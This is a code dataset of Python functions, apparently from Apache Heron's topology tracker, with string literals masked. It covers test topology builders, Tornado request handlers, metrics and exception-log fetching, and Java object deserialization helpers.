{"signature": "def all_grouping_builder(topology_name, http_server_url):", "body": "builder = TestTopologyBuilder(topology_name, http_server_url)<EOL>ab_spout = builder.add_spout(\"<STR_LIT>\", ABSpout, <NUM_LIT:1>)<EOL>builder.add_bolt(\"<STR_LIT>\", IdentityBolt,<EOL>inputs={ab_spout: Grouping.ALL},<EOL>par=<NUM_LIT:2>,<EOL>optional_outputs=['<STR_LIT>'])<EOL>return builder.create_topology()<EOL>", "docstring": "Integration test topology builder for all grouping", "id": "f7293:m0"}
{"signature": "def none_grouping_builder(topology_name, http_server_url):", "body": "builder = TestTopologyBuilder(topology_name, http_server_url)<EOL>ab_spout = builder.add_spout(\"<STR_LIT>\", ABSpout, <NUM_LIT:1>)<EOL>builder.add_bolt(\"<STR_LIT>\", IdentityBolt,<EOL>inputs={ab_spout: Grouping.NONE},<EOL>par=<NUM_LIT:3>,<EOL>optional_outputs=['<STR_LIT>'])<EOL>return builder.create_topology()<EOL>", "docstring": "Integration test topology builder for none grouping", "id": "f7294:m0"}
{"signature": "def basic_one_task_builder(topology_name, http_server_url):", "body": "builder = TestTopologyBuilder(topology_name, http_server_url)<EOL>ab_spout = builder.add_spout(\"<STR_LIT>\", ABSpout, <NUM_LIT:1>)<EOL>builder.add_bolt(\"<STR_LIT>\", IdentityBolt,<EOL>inputs={ab_spout: Grouping.SHUFFLE},<EOL>par=<NUM_LIT:1>,<EOL>optional_outputs=['<STR_LIT>'])<EOL>return builder.create_topology()<EOL>", "docstring": "Integration test topology builder for basic one task", "id": "f7296:m0"}
{"signature": "def main():", "body": "log.configure(level=logging.DEBUG)<EOL>if not os.path.exists(RESULTS_DIRECTORY):<EOL><INDENT>os.makedirs(RESULTS_DIRECTORY)<EOL><DEDENT>state_map = {}<EOL>state_result_map = {}<EOL>application = tornado.web.Application([<EOL>(r\"<STR_LIT:/>\", MainHandler),<EOL>(r\"<STR_LIT>\", FileHandler),<EOL>(r\"<STR_LIT>\", MemoryMapGetAllHandler, dict(state_map=state_map)),<EOL>(r\"<STR_LIT>\", MemoryMapHandler, dict(state_map=state_map)),<EOL>(r\"<STR_LIT>\", StateResultHandler, dict(result_map=state_result_map)),<EOL>])<EOL>if len(sys.argv) == <NUM_LIT:1>:<EOL><INDENT>logging.error(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>port = int(sys.argv[<NUM_LIT:1>])<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.error(\"<STR_LIT>\", e)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>logging.info(\"<STR_LIT>\" + str(port))<EOL>application.listen(port)<EOL>tornado.ioloop.IOLoop.instance().start()<EOL>", "docstring": "Runs a tornado http server that listens for any\nintegration test json result get/post requests", "id": "f7316:m0"}
{"signature": "def create_mock_simple_topology(<EOL>self,<EOL>spout_parallelism=<NUM_LIT:1>,<EOL>bolt_parallelism=<NUM_LIT:1>):", "body": "topology = protoTopology.Topology()<EOL>topology.id = MockProto.topology_id<EOL>topology.name = MockProto.topology_name<EOL>stream1 = protoTopology.StreamId()<EOL>stream1.id = \"<STR_LIT>\"<EOL>stream1.component_name = \"<STR_LIT>\"<EOL>spout = self.create_mock_spout(\"<STR_LIT>\", [stream1], spout_parallelism)<EOL>topology.spouts.extend([spout])<EOL>bolt = self.create_mock_bolt(\"<STR_LIT>\", [stream1], [], bolt_parallelism)<EOL>topology.bolts.extend([bolt])<EOL>return topology<EOL>", "docstring": "Simple topology contains one spout and one bolt.", "id": "f7321:c0:m6"}
{"signature": "def create_mock_medium_topology(<EOL>self,<EOL>spout_parallelism=<NUM_LIT:1>,<EOL>bolt1_parallelism=<NUM_LIT:1>,<EOL>bolt2_parallelism=<NUM_LIT:1>,<EOL>bolt3_parallelism=<NUM_LIT:1>):", "body": "topology = protoTopology.Topology()<EOL>topology.id = \"<STR_LIT>\"<EOL>topology.name = \"<STR_LIT>\"<EOL>stream1 = protoTopology.StreamId()<EOL>stream1.id = \"<STR_LIT>\"<EOL>stream1.component_name = \"<STR_LIT>\"<EOL>stream2 = protoTopology.StreamId()<EOL>stream2.id = \"<STR_LIT>\"<EOL>stream2.component_name = \"<STR_LIT>\"<EOL>stream3 = protoTopology.StreamId()<EOL>stream3.id = \"<STR_LIT>\"<EOL>stream3.component_name = \"<STR_LIT>\"<EOL>stream4 = protoTopology.StreamId()<EOL>stream4.id = \"<STR_LIT>\"<EOL>stream4.component_name = \"<STR_LIT>\"<EOL>spout1 = self.create_mock_spout(\"<STR_LIT>\",<EOL>[stream1, stream2],<EOL>spout_parallelism)<EOL>topology.spouts.extend([spout1])<EOL>bolt1 = self.create_mock_bolt(\"<STR_LIT>\",<EOL>[stream1],<EOL>[stream3],<EOL>bolt1_parallelism)<EOL>bolt2 = self.create_mock_bolt(\"<STR_LIT>\",<EOL>[stream2],<EOL>[stream4],<EOL>bolt2_parallelism)<EOL>bolt3 = self.create_mock_bolt(\"<STR_LIT>\",<EOL>[stream3, stream4],<EOL>[],<EOL>bolt3_parallelism)<EOL>topology.bolts.extend([bolt1, bolt2, bolt3])<EOL>return topology<EOL>", "docstring": "Medium topology is a three stage topology\nwith one spout, two mid stage bolts, and one\nlast stage bolt.\nS -str1-> B1 -str3-> B3\nS -str2-> B2 -str4-> B3", "id": "f7321:c0:m7"}
{"signature": "def load_configs(self):", "body": "self.statemgr_config.set_state_locations(self.configs[STATEMGRS_KEY])<EOL>if EXTRA_LINKS_KEY in self.configs:<EOL><INDENT>for extra_link in self.configs[EXTRA_LINKS_KEY]:<EOL><INDENT>self.extra_links.append(self.validate_extra_link(extra_link))<EOL><DEDENT><DEDENT>", "docstring": "load config files", "id": "f7323:c0:m1"}
{"signature": "def validate_extra_link(self, extra_link):", "body": "if EXTRA_LINK_NAME_KEY not in extra_link or EXTRA_LINK_FORMATTER_KEY not in extra_link:<EOL><INDENT>raise Exception(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.validated_formatter(extra_link[EXTRA_LINK_FORMATTER_KEY])<EOL>return extra_link<EOL>", "docstring": "validate extra link", "id": "f7323:c0:m2"}
{"signature": "def validated_formatter(self, url_format):", "body": "<EOL>valid_parameters = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:user>\",<EOL>}<EOL>dummy_formatted_url = url_format<EOL>for key, value in valid_parameters.items():<EOL><INDENT>dummy_formatted_url = dummy_formatted_url.replace(key, value)<EOL><DEDENT>if '<STR_LIT:$>' in dummy_formatted_url:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (url_format))<EOL><DEDENT>return url_format<EOL>", "docstring": "validate visualization url format", "id": "f7323:c0:m3"}
{"signature": "def get_formatted_url(self, execution_state, formatter):", "body": "<EOL>valid_parameters = {<EOL>\"<STR_LIT>\": execution_state[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": execution_state[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": execution_state[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": execution_state[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": execution_state[\"<STR_LIT>\"],<EOL>}<EOL>formatted_url = formatter<EOL>for key, value in valid_parameters.items():<EOL><INDENT>formatted_url = formatted_url.replace(key, value)<EOL><DEDENT>return formatted_url<EOL>", "docstring": "@param execution_state: The python dict representing JSON execution_state\n@return Formatted viz url", "id": "f7323:c0:m4"}
{"signature": "def register_watch(self, callback):", "body": "RETRY_COUNT = <NUM_LIT:5><EOL>for _ in range(RETRY_COUNT):<EOL><INDENT>uid = uuid.uuid4()<EOL>if uid not in self.watches:<EOL><INDENT>Log.info(\"<STR_LIT>\" + str(uid))<EOL>try:<EOL><INDENT>callback(self)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.error(\"<STR_LIT>\" + str(e))<EOL>Log.debug(traceback.format_exc())<EOL>return None<EOL><DEDENT>self.watches[uid] = callback<EOL>return uid<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the UUID with which the watch is\nregistered. This UUID can be used to unregister\nthe watch.\nReturns None if watch could not be registered.\n\nThe argument 'callback' must be a function that takes\nexactly one argument, the topology on which\nthe watch was triggered.\nNote that the watch will be unregistered in case\nit raises any Exception the first time.\n\nThis callback is also called at the time\nof registration.", "id": "f7324:c0:m1"}
{"signature": "def unregister_watch(self, uid):", "body": "<EOL>Log.info(\"<STR_LIT>\" + str(uid))<EOL>self.watches.pop(uid, None)<EOL>", "docstring": "Unregister the watch with the given UUID.", "id": "f7324:c0:m2"}
{"signature": "def trigger_watches(self):", "body": "to_remove = []<EOL>for uid, callback in self.watches.items():<EOL><INDENT>try:<EOL><INDENT>callback(self)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.error(\"<STR_LIT>\" + str(e))<EOL>Log.debug(traceback.format_exc())<EOL>to_remove.append(uid)<EOL><DEDENT><DEDENT>for uid in to_remove:<EOL><INDENT>self.unregister_watch(uid)<EOL><DEDENT>", "docstring": "Call all the callbacks.\nIf any callback raises an Exception,\nunregister the corresponding watch.", "id": "f7324:c0:m3"}
{"signature": "def set_physical_plan(self, physical_plan):", "body": "if not physical_plan:<EOL><INDENT>self.physical_plan = None<EOL>self.id = None<EOL><DEDENT>else:<EOL><INDENT>self.physical_plan = physical_plan<EOL>self.id = physical_plan.topology.id<EOL><DEDENT>self.trigger_watches()<EOL>", "docstring": "set physical plan", "id": "f7324:c0:m4"}
{"signature": "def set_packing_plan(self, packing_plan):", "body": "if not packing_plan:<EOL><INDENT>self.packing_plan = None<EOL>self.id = None<EOL><DEDENT>else:<EOL><INDENT>self.packing_plan = packing_plan<EOL>self.id = packing_plan.id<EOL><DEDENT>self.trigger_watches()<EOL>", "docstring": "set packing plan", "id": "f7324:c0:m5"}
{"signature": "def get_execution_state_dc_environ(self, execution_state):", "body": "return (execution_state.cluster, execution_state.environ)<EOL>", "docstring": "Helper function to extract dc and environ from execution_state.\nReturns a tuple (cluster, environ).", "id": "f7324:c0:m6"}
{"signature": "def set_execution_state(self, execution_state):", "body": "if not execution_state:<EOL><INDENT>self.execution_state = None<EOL>self.cluster = None<EOL>self.environ = None<EOL><DEDENT>else:<EOL><INDENT>self.execution_state = execution_state<EOL>cluster, environ = self.get_execution_state_dc_environ(execution_state)<EOL>self.cluster = cluster<EOL>self.environ = environ<EOL>self.zone = cluster<EOL><DEDENT>self.trigger_watches()<EOL>", "docstring": "set exectuion state", "id": "f7324:c0:m7"}
{"signature": "def set_tmaster(self, tmaster):", "body": "self.tmaster = tmaster<EOL>self.trigger_watches()<EOL>", "docstring": "set exectuion state", "id": "f7324:c0:m8"}
{"signature": "def set_scheduler_location(self, scheduler_location):", "body": "self.scheduler_location = scheduler_location<EOL>self.trigger_watches()<EOL>", "docstring": "set exectuion state", "id": "f7324:c0:m9"}
{"signature": "def num_instances(self):", "body": "num = <NUM_LIT:0><EOL>components = self.spouts() + self.bolts()<EOL>for component in components:<EOL><INDENT>config = component.comp.config<EOL>for kvs in config.kvs:<EOL><INDENT>if kvs.key == api_constants.TOPOLOGY_COMPONENT_PARALLELISM:<EOL><INDENT>num += int(kvs.value)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return num<EOL>", "docstring": "Number of spouts + bolts", "id": "f7324:c0:m10"}
{"signature": "def spouts(self):", "body": "if self.physical_plan:<EOL><INDENT>return list(self.physical_plan.topology.spouts)<EOL><DEDENT>return []<EOL>", "docstring": "Returns a list of Spout (proto) messages", "id": "f7324:c0:m11"}
{"signature": "def spout_names(self):", "body": "return map(lambda component: component.comp.name, self.spouts())<EOL>", "docstring": "Returns a list of names of all the spouts", "id": "f7324:c0:m12"}
{"signature": "def bolts(self):", "body": "if self.physical_plan:<EOL><INDENT>return list(self.physical_plan.topology.bolts)<EOL><DEDENT>return []<EOL>", "docstring": "Returns a list of Bolt (proto) messages", "id": "f7324:c0:m13"}
{"signature": "def bolt_names(self):", "body": "return map(lambda component: component.comp.name, self.bolts())<EOL>", "docstring": "Returns a list of names of all the bolts", "id": "f7324:c0:m14"}
{"signature": "def get_machines(self):", "body": "if self.physical_plan:<EOL><INDENT>stmgrs = list(self.physical_plan.stmgrs)<EOL>return map(lambda s: s.host_name, stmgrs)<EOL><DEDENT>return []<EOL>", "docstring": "Get all the machines that this topology is running on.\nThese are the hosts of all the stmgrs.", "id": "f7324:c0:m15"}
{"signature": "def get_status(self):", "body": "status = None<EOL>if self.physical_plan and self.physical_plan.topology:<EOL><INDENT>status = self.physical_plan.topology.state<EOL><DEDENT>if status == <NUM_LIT:1>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif status == <NUM_LIT:2>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif status == <NUM_LIT:3>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Get the current state of this topology.\nThe state values are from the topology.proto\nRUNNING = 1, PAUSED = 2, KILLED = 3\nif the state is None \"Unknown\" is returned.", "id": "f7324:c0:m16"}
{"signature": "@tornado.gen.coroutine<EOL>def getMetricsTimeline(tmaster,<EOL>component_name,<EOL>metric_names,<EOL>instances,<EOL>start_time,<EOL>end_time,<EOL>callback=None):", "body": "<EOL>if not tmaster or not tmaster.host or not tmaster.stats_port:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>host = tmaster.host<EOL>port = tmaster.stats_port<EOL>metricRequest = tmaster_pb2.MetricRequest()<EOL>metricRequest.component_name = component_name<EOL>if len(instances) > <NUM_LIT:0>:<EOL><INDENT>for instance in instances:<EOL><INDENT>metricRequest.instance_id.append(instance)<EOL><DEDENT><DEDENT>for metricName in metric_names:<EOL><INDENT>metricRequest.metric.append(metricName)<EOL><DEDENT>metricRequest.explicit_interval.start = start_time<EOL>metricRequest.explicit_interval.end = end_time<EOL>metricRequest.minutely = True<EOL>metricRequestString = metricRequest.SerializeToString()<EOL>url = \"<STR_LIT>\".format(host, port)<EOL>request = tornado.httpclient.HTTPRequest(url,<EOL>body=metricRequestString,<EOL>method='<STR_LIT:POST>',<EOL>request_timeout=<NUM_LIT:5>)<EOL>Log.debug(\"<STR_LIT>\")<EOL>Log.debug(\"<STR_LIT>\" + url)<EOL>try:<EOL><INDENT>client = tornado.httpclient.AsyncHTTPClient()<EOL>result = yield client.fetch(request)<EOL>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>responseCode = result.code<EOL>if responseCode >= <NUM_LIT>:<EOL><INDENT>message = \"<STR_LIT>\" + responseCode<EOL>Log.error(message)<EOL>raise Exception(message)<EOL><DEDENT>metricResponse = tmaster_pb2.MetricResponse()<EOL>metricResponse.ParseFromString(result.body)<EOL>if metricResponse.status.status == common_pb2.NOTOK:<EOL><INDENT>if metricResponse.status.HasField(\"<STR_LIT:message>\"):<EOL><INDENT>Log.warn(\"<STR_LIT>\", metricResponse.status.message)<EOL><DEDENT><DEDENT>ret = {}<EOL>ret[\"<STR_LIT>\"] = start_time<EOL>ret[\"<STR_LIT>\"] = end_time<EOL>ret[\"<STR_LIT>\"] = component_name<EOL>ret[\"<STR_LIT>\"] = {}<EOL>for metric in metricResponse.metric:<EOL><INDENT>instance = metric.instance_id<EOL>for im in metric.metric:<EOL><INDENT>metricname = im.name<EOL>if metricname not in ret[\"<STR_LIT>\"]:<EOL><INDENT>ret[\"<STR_LIT>\"][metricname] = {}<EOL><DEDENT>if instance not in ret[\"<STR_LIT>\"][metricname]:<EOL><INDENT>ret[\"<STR_LIT>\"][metricname][instance] = {}<EOL><DEDENT>for interval_value in im.interval_values:<EOL><INDENT>ret[\"<STR_LIT>\"][metricname][instance][interval_value.interval.start] = interval_value.value<EOL><DEDENT><DEDENT><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get the specified metrics for the given component name of this topology.\nReturns the following dict on success:\n{\n  \"timeline\": {\n    <metricname>: {\n      <instance>: {\n        <start_time> : <numeric value>,\n        <start_time> : <numeric value>,\n        ...\n      }\n      ...\n    }, ...\n  },\n  \"starttime\": <numeric value>,\n  \"endtime\": <numeric value>,\n  \"component\": \"...\"\n}\n\nReturns the following dict on failure:\n{\n  \"message\": \"...\"\n}", "id": "f7325:m0"}
{"signature": "def log_debug(message, ident=<NUM_LIT:0>):", "body": "Log.debug(\"<STR_LIT:U+0020>\" * (ident * <NUM_LIT:2>) + str(message))<EOL>", "docstring": "log debugging info", "id": "f7326:m0"}
{"signature": "def log_error(message, ident=<NUM_LIT:0>):", "body": "Log.error(\"<STR_LIT:U+0020>\" * (ident * <NUM_LIT:2>) + str(message))<EOL>", "docstring": "log error info", "id": "f7326:m1"}
{"signature": "def load(file_object):", "body": "marshaller = JavaObjectUnmarshaller(file_object)<EOL>marshaller.add_transformer(DefaultObjectTransformer())<EOL>return marshaller.readObject()<EOL>", "docstring": "Deserializes Java primitive data and objects serialized by ObjectOutputStream\nfrom a file-like object.", "id": "f7326:m2"}
{"signature": "def loads(string):", "body": "f = StringIO.StringIO(string)<EOL>marshaller = JavaObjectUnmarshaller(f)<EOL>marshaller.add_transformer(DefaultObjectTransformer())<EOL>return marshaller.readObject()<EOL>", "docstring": "Deserializes Java objects and primitive data serialized by ObjectOutputStream\nfrom a string.", "id": "f7326:m3"}
{"signature": "def dumps(obj):", "body": "marshaller = JavaObjectMarshaller()<EOL>return marshaller.dump(obj)<EOL>", "docstring": "Serializes Java primitive data and objects unmarshaled by load(s) before into string.", "id": "f7326:m4"}
{"signature": "def get_class(self):", "body": "return self.classdesc<EOL>", "docstring": "get class", "id": "f7326:c1:m1"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "get reprensentation in string", "id": "f7326:c1:m2"}
{"signature": "def __repr__(self):", "body": "name = \"<STR_LIT>\"<EOL>if self.classdesc:<EOL><INDENT>name = self.classdesc.name<EOL><DEDENT>return \"<STR_LIT>\" % name<EOL>", "docstring": "get reprensentation", "id": "f7326:c1:m3"}
{"signature": "def copy(self, new_object):", "body": "new_object.classdesc = self.classdesc<EOL>for name in self.classdesc.fields_names:<EOL><INDENT>new_object.__setattr__(name, getattr(self, name))<EOL><DEDENT>", "docstring": "copy an object", "id": "f7326:c1:m6"}
{"signature": "def readObject(self):", "body": "try:<EOL><INDENT>_, res = self._read_and_exec_opcode(ident=<NUM_LIT:0>)<EOL>position_bak = self.object_stream.tell()<EOL>the_rest = self.object_stream.read()<EOL>if len(the_rest):<EOL><INDENT>log_error(\"<STR_LIT>\" % len(the_rest))<EOL>log_debug(self._create_hexdump(the_rest))<EOL><DEDENT>else:<EOL><INDENT>log_debug(\"<STR_LIT>\")<EOL><DEDENT>self.object_stream.seek(position_bak)<EOL>return res<EOL><DEDENT>except Exception:<EOL><INDENT>self._oops_dump_state()<EOL>raise<EOL><DEDENT>", "docstring": "read object", "id": "f7326:c3:m1"}
{"signature": "def add_transformer(self, transformer):", "body": "self.object_transformers.append(transformer)<EOL>", "docstring": "add to object transformer", "id": "f7326:c3:m2"}
{"signature": "def do_classdesc(self, parent=None, ident=<NUM_LIT:0>):", "body": "<EOL>clazz = JavaClass()<EOL>log_debug(\"<STR_LIT>\", ident)<EOL>ba = self._readString()<EOL>clazz.name = ba<EOL>log_debug(\"<STR_LIT>\" % ba, ident)<EOL>(serialVersionUID, newHandle, classDescFlags) = self._readStruct(\"<STR_LIT>\")<EOL>clazz.serialVersionUID = serialVersionUID<EOL>clazz.flags = classDescFlags<EOL>self._add_reference(clazz)<EOL>log_debug(\"<STR_LIT>\" % (serialVersionUID, newHandle, classDescFlags), ident)<EOL>(length, ) = self._readStruct(\"<STR_LIT>\")<EOL>log_debug(\"<STR_LIT>\" % length, ident)<EOL>clazz.fields_names = []<EOL>clazz.fields_types = []<EOL>for _ in range(length):<EOL><INDENT>(typecode, ) = self._readStruct(\"<STR_LIT>\")<EOL>field_name = self._readString()<EOL>field_type = None<EOL>field_type = self._convert_char_to_type(typecode)<EOL>if field_type == self.TYPE_ARRAY:<EOL><INDENT>_, field_type = self._read_and_exec_opcode(<EOL>ident=ident+<NUM_LIT:1>, expect=[self.TC_STRING, self.TC_REFERENCE])<EOL>assert isinstance(field_type, str)<EOL>", "docstring": "do_classdesc", "id": "f7326:c3:m7"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7327:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>environ = self.get_argument_environ()<EOL>role = self.get_argument_role()<EOL>topology_name = self.get_argument_topology()<EOL>component = self.get_argument_component()<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topology_name)<EOL>instances = self.get_arguments(constants.PARAM_INSTANCE)<EOL>exceptions_summary = yield tornado.gen.Task(self.getComponentExceptionSummary,<EOL>topology.tmaster, component, instances)<EOL>self.write_success_response(exceptions_summary)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get", "id": "f7327:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getComponentExceptionSummary(self, tmaster, component_name, instances=[], callback=None):<DEDENT>", "body": "if not tmaster or not tmaster.host or not tmaster.stats_port:<EOL><INDENT>return<EOL><DEDENT>exception_request = tmaster_pb2.ExceptionLogRequest()<EOL>exception_request.component_name = component_name<EOL>if len(instances) > <NUM_LIT:0>:<EOL><INDENT>exception_request.instances.extend(instances)<EOL><DEDENT>request_str = exception_request.SerializeToString()<EOL>port = str(tmaster.stats_port)<EOL>host = tmaster.host<EOL>url = \"<STR_LIT>\".format(host, port)<EOL>Log.debug(\"<STR_LIT>\")<EOL>request = tornado.httpclient.HTTPRequest(url,<EOL>body=request_str,<EOL>method='<STR_LIT:POST>',<EOL>request_timeout=<NUM_LIT:5>)<EOL>Log.debug('<STR_LIT>', url)<EOL>try:<EOL><INDENT>client = tornado.httpclient.AsyncHTTPClient()<EOL>result = yield client.fetch(request)<EOL>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>responseCode = result.code<EOL>if responseCode >= <NUM_LIT>:<EOL><INDENT>message = \"<STR_LIT>\" + responseCode<EOL>Log.error(message)<EOL>raise tornado.gen.Return({<EOL>\"<STR_LIT:message>\": message<EOL>})<EOL><DEDENT>exception_response = tmaster_pb2.ExceptionLogResponse()<EOL>exception_response.ParseFromString(result.body)<EOL>if exception_response.status.status == common_pb2.NOTOK:<EOL><INDENT>if exception_response.status.HasField(\"<STR_LIT:message>\"):<EOL><INDENT>raise tornado.gen.Return({<EOL>\"<STR_LIT:message>\": exception_response.status.message<EOL>})<EOL><DEDENT><DEDENT>ret = []<EOL>for exception_log in exception_response.exceptions:<EOL><INDENT>ret.append({'<STR_LIT>': exception_log.stacktrace,<EOL>'<STR_LIT>': exception_log.lasttime,<EOL>'<STR_LIT>': exception_log.firsttime,<EOL>'<STR_LIT:count>': str(exception_log.count)})<EOL><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get the summary of exceptions for component_name and list of instances.\nEmpty instance list will fetch all exceptions.", "id": "f7327:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7328:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>instance = self.get_argument_instance()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>ret = yield self.getInstanceJstack(topology_info, instance)<EOL>self.write_success_response(ret)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7328:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getInstanceJstack(self, topology_info, instance_id):<DEDENT>", "body": "pid_response = yield getInstancePid(topology_info, instance_id)<EOL>try:<EOL><INDENT>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>pid_json = json.loads(pid_response)<EOL>pid = pid_json['<STR_LIT>'].strip()<EOL>if pid == '<STR_LIT>':<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>endpoint = utils.make_shell_endpoint(topology_info, instance_id)<EOL>url = \"<STR_LIT>\" % (endpoint, pid)<EOL>response = yield http_client.fetch(url)<EOL>Log.debug(\"<STR_LIT>\", url)<EOL>raise tornado.gen.Return(response.body)<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>", "docstring": "Fetches Instance jstack from heron-shell.", "id": "f7328:c0:m2"}
{"signature": "def set_default_headers(self):", "body": "self.set_header(\"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>", "docstring": "Allow any domain to make queries to tracker.", "id": "f7329:c0:m0"}
{"signature": "def prepare(self):", "body": "self.basehandler_starttime = time.time()<EOL>", "docstring": "Used for timing. Sets the basehandler_starttime to current time, and\nis used when writing the response back.\nSubclasses of BaseHandler must never use self.write, but instead use\nself.write_error or self.write_result methods to correctly include\nthe timing.", "id": "f7329:c0:m1"}
{"signature": "def write_success_response(self, result):", "body": "response = self.make_success_response(result)<EOL>now = time.time()<EOL>spent = now - self.basehandler_starttime<EOL>response[constants.RESPONSE_KEY_EXECUTION_TIME] = spent<EOL>self.write_json_response(response)<EOL>", "docstring": "Result may be a python dictionary, array or a primitive type\nthat can be converted to JSON for writing back the result.", "id": "f7329:c0:m2"}
{"signature": "def write_error_response(self, message):", "body": "self.set_status(<NUM_LIT>)<EOL>response = self.make_error_response(str(message))<EOL>now = time.time()<EOL>spent = now - self.basehandler_starttime<EOL>response[constants.RESPONSE_KEY_EXECUTION_TIME] = spent<EOL>self.write_json_response(response)<EOL>", "docstring": "Writes the message as part of the response and sets 404 status.", "id": "f7329:c0:m3"}
{"signature": "def write_json_response(self, response):", "body": "self.write(tornado.escape.json_encode(response))<EOL>self.set_header(\"<STR_LIT:Content-Type>\", \"<STR_LIT:application/json>\")<EOL>", "docstring": "write back json response", "id": "f7329:c0:m4"}
{"signature": "def make_response(self, status):", "body": "response = {<EOL>constants.RESPONSE_KEY_STATUS: status,<EOL>constants.RESPONSE_KEY_VERSION: constants.API_VERSION,<EOL>constants.RESPONSE_KEY_EXECUTION_TIME: <NUM_LIT:0>,<EOL>constants.RESPONSE_KEY_MESSAGE: \"<STR_LIT>\",<EOL>}<EOL>return response<EOL>", "docstring": "Makes the base dict for the response.\nThe status is the string value for\nthe key \"status\" of the response. This\nshould be \"success\" or \"failure\".", "id": "f7329:c0:m5"}
{"signature": "def make_success_response(self, result):", "body": "response = self.make_response(constants.RESPONSE_STATUS_SUCCESS)<EOL>response[constants.RESPONSE_KEY_RESULT] = result<EOL>return response<EOL>", "docstring": "Makes the python dict corresponding to the\nJSON that needs to be sent for a successful\nresponse. Result is the actual payload\nthat gets sent.", "id": "f7329:c0:m6"}
{"signature": "def make_error_response(self, message):", "body": "response = self.make_response(constants.RESPONSE_STATUS_FAILURE)<EOL>response[constants.RESPONSE_KEY_MESSAGE] = message<EOL>return response<EOL>", "docstring": "Makes the python dict corresponding to the\nJSON that needs to be sent for a failed\nresponse. Message is the message that is\nsent as the reason for failure.", "id": "f7329:c0:m7"}
{"signature": "def get_argument_cluster(self):", "body": "try:<EOL><INDENT>return self.get_argument(constants.PARAM_CLUSTER)<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get request argument.\nRaises exception if argument is missing.\nReturns the cluster argument.", "id": "f7329:c0:m8"}
{"signature": "def get_argument_role(self):", "body": "try:<EOL><INDENT>return self.get_argument(constants.PARAM_ROLE, default=None)<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get request argument.\nRaises exception if argument is missing.\nReturns the role argument.", "id": "f7329:c0:m9"}
{"signature": "def get_argument_environ(self):", "body": "try:<EOL><INDENT>return self.get_argument(constants.PARAM_ENVIRON)<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get request argument.\nRaises exception if argument is missing.\nReturns the environ argument.", "id": "f7329:c0:m10"}
{"signature": "def get_argument_topology(self):", "body": "try:<EOL><INDENT>topology = self.get_argument(constants.PARAM_TOPOLOGY)<EOL>return topology<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get topology argument.\nRaises exception if argument is missing.\nReturns the topology argument.", "id": "f7329:c0:m11"}
